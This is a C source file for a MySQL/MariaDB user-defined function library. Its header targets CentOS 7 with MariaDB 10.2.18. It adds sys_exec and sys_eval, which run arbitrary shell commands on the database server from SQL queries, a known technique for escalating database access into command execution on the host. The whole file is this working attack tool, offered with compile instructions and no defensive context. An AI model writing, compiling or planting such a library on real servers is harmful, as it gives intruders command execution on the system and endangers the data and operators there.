/*
 * MySQL/MariaDB UDF for command execution
 * Compile: gcc -shared -fPIC -o udf_sys.so udf_sys.c -I/usr/include/mariadb
 * Target: CentOS 7 x86_64, MariaDB 10.2.18
 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/wait.h>

/* MySQL UDF types */
typedef char my_bool;
typedef unsigned long long ulonglong;
typedef long long longlong;

enum Item_result {STRING_RESULT, REAL_RESULT, INT_RESULT, ROW_RESULT, DECIMAL_RESULT};

typedef struct st_udf_args {
    unsigned int arg_count;
    enum Item_result *arg_type;
    char **args;
    unsigned long *lengths;
    char *maybe_null;
} UDF_ARGS;

typedef struct st_udf_init {
    my_bool maybe_null;
    unsigned int decimals;
    unsigned int max_length;
    char *ptr;
    my_bool const_item;
} UDF_INIT;

/* Function: sys_exec
 * Usage: SELECT sys_exec('command');
 * Returns: command output as string
 */

my_bool sys_exec_init(UDF_INIT *initid, UDF_ARGS *args, char *message) {
    if (args->arg_count != 1 || args->arg_type[0] != STRING_RESULT) {
        strcpy(message, "sys_exec() requires exactly one string argument");
        return 1;
    }
    initid->ptr = NULL;
    return 0;
}

void sys_exec_deinit(UDF_INIT *initid) {
    if (initid->ptr) {
        free(initid->ptr);
    }
}

char *sys_exec(UDF_INIT *initid, UDF_ARGS *args, char *result, unsigned long *length, char *is_null, char *error) {
    char *cmd = args->args[0];
    FILE *fp;
    char buffer[1024];
    size_t output_size = 0;
    size_t buffer_size = 4096;
    char *output = malloc(buffer_size);

    if (!output) {
        *error = 1;
        return NULL;
    }
    output[0] = '\0';

    fp = popen(cmd, "r");
    if (!fp) {
        free(output);
        *error = 1;
        return NULL;
    }

    while (fgets(buffer, sizeof(buffer), fp) != NULL) {
        size_t len = strlen(buffer);
        if (output_size + len + 1 > buffer_size) {
            buffer_size *= 2;
            char *new_output = realloc(output, buffer_size);
            if (!new_output) {
                free(output);
                pclose(fp);
                *error = 1;
                return NULL;
            }
            output = new_output;
        }
        strcat(output, buffer);
        output_size += len;
    }

    pclose(fp);
    *length = output_size;
    return output;
}

/* Function: sys_eval
 * Usage: SELECT sys_eval('command');
 * Returns: exit code as integer
 */

my_bool sys_eval_init(UDF_INIT *initid, UDF_ARGS *args, char *message) {
    if (args->arg_count != 1 || args->arg_type[0] != STRING_RESULT) {
        strcpy(message, "sys_eval() requires exactly one string argument");
        return 1;
    }
    return 0;
}

void sys_eval_deinit(UDF_INIT *initid) {
}

longlong sys_eval(UDF_INIT *initid, UDF_ARGS *args, char *is_null, char *error) {
    char *cmd = args->args[0];
    int status = system(cmd);
    return (longlong)WEXITSTATUS(status);
}
